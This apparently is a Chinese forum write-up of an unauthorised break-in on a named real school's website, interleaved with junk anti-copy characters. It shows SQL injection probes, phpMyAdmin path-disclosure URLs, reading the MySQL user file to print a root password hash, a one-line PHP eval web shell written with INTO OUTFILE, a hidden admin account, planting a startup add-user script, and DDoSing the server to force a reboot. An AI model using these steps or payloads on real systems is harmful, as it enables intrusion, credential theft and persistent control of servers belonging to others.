友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
3 s# Z) H, }. u& C
) Q) b) M* u6 C- Q* @

常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
: Q) a. T6 `* @& r6 o8 K" n( e
- O0 k0 ~) R. p/ w: Y% x7 z$ a& c那么想可以直接写入shell ，getshell有几个条件：
# r% K1 l8 w. D% T& G6 Z

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
" n, k3 X. L1 l; v+ c. d4 i2 }' G
试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
, b8 s/ n6 w3 |, u* [3./load_file()  
+ I6 s" \" [: B+ T- r4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
, {- o" a1 J3 ~4 s- I: o7 j8 Y  V5./phpmyadmin/libraries/select_lang.lib.php  
: j- N6 ]3 y* E6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
8./phpmyadmin/libraries/export/xls.php  
; A; m$ J- r8 h7 G# _; p
3 k% C& q$ ]5 V均不行...........................
7 ^1 a/ r$ f# K% \' t/ h6 Q2 G6 {
御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php

& W8 W# p7 j1 F/ ]; X权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
6 e. Q/ `* S: D
默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

& ?+ B& s. v; Y; R% U( o敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........
6 u& P( b! S& N) {/ R  s1 [
想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
6 I8 y8 a! r( i6 O7 m' J
http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

1 H  Z: U6 n9 v自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
1 M, p; c4 M$ {7 r+ t% S
成功读到root密码：

17---- r(0072)
# Y  [8 @$ q* a" b9 x18---- o(006f)
19---- o(006f)
20---- t(0074)
21---- *(002a)
22---- 8(0038)
+ `1 c3 G* H9 I5 X# y; K23---- 2(0032)
% z. d& m. q7 w. r) ?24---- E(0045)
! B5 i8 H1 t/ y) U( q+ y4 b2 P8 |25---- 1(0031)
26---- C(0043)
27---- 5(0035)
28---- 8(0038)
/ s5 s7 r. S1 {" |& Y- y3 I9 Y7 H' e8 [29---- 2(0032)
30---- 8(0038)
" I: W0 a- l! _31---- A(0041)
1 r7 \% E9 ^) w9 Q( i32---- 9(0039)
, L) ]! N' Z4 o; J33---- B(0042)
34---- 5(0035)
/ Q4 Q* ]' ^, \4 e- d35---- 4(0034)
# z0 m2 ~" T% q8 D1 Z2 z+ E: }, ^: r  A36---- 8(0038)
37---- 6(0036)
38---- 4(0034)
39---- 9(0039)
- j( ]8 ^( F" z* q9 L40---- 1(0031)
' E; B9 Z8 J  Y' T41---- 1(0031)
9 d$ c" a( c# a) s9 L42---- 5(0035)
43---- 3(0033)
44---- 5(0035)
45---- 9(0039)
% @9 R, f1 E! t$ x2 G% ~9 w7 J46---- 8(0038)
47---- F(0046)
3 ^6 e3 o! ?( O$ m48---- F(0046)
# f& I( U  Z) b; [3 u0 e49---- 4(0034)
8 L$ z7 l2 |8 k( a3 S/ {50---- F(0046)
9 ^& o5 k! D; k. J51---- 0(0030)
- |9 U5 T. N" u' X  Q52---- 3(0033)
" E2 R) S, u8 D1 K( ]* u0 }53---- 2(0032)
0 Q+ a- U4 k5 [, |8 j* s( B54---- A(0041)
55---- 4(0034)
56---- A(0041)
6 b1 L8 W) {, ^57---- B(0042)
3 P& Q+ P" `* T: u- Q) p58---- *(0044)
59---- *(0035)
60---- *(0041)
61---- *0032)

解密后成功登陆phpmyamin
                          
3 m  W7 x. I# E3 y1 B
# h! g6 a5 _$ C" \2 D8 ~                             

找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'

0 O+ D% ^% m+ A& W; l; S2 Q' g' k成功执行，拿下shell，菜刀连接：

" p) |" c! H5 H) E2 A; \服务器不支持asp,aspx,php提权无果...................
8 R3 n/ o7 c5 T9 e" B
8 {/ \1 H9 u$ a8 f0 g但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
: ?/ C/ L0 Y) I) h* q" t

服务器上已经有个隐藏帐号了

/ K) X8 A) K6 t

别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

/ [4 \" A9 X& V, y. l, b; P( q4 i

成员

) v* @5 m, \- N2 d2 n

-------------------------------------------------------------------------------
; T. Q/ H+ }) O/ F5 H8 yadmin
Administrator
7 Z) ^- a3 r0 i9 sslipper$
& ]9 j7 [% c6 osqluser
命令成功完成。

服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。

" [, N1 n2 n, a$ tddos服务器重启，不然就只能坐等服务器重启了...............................

      

' r: t5 \; c+ k5 o* l* }1 x$ {

angel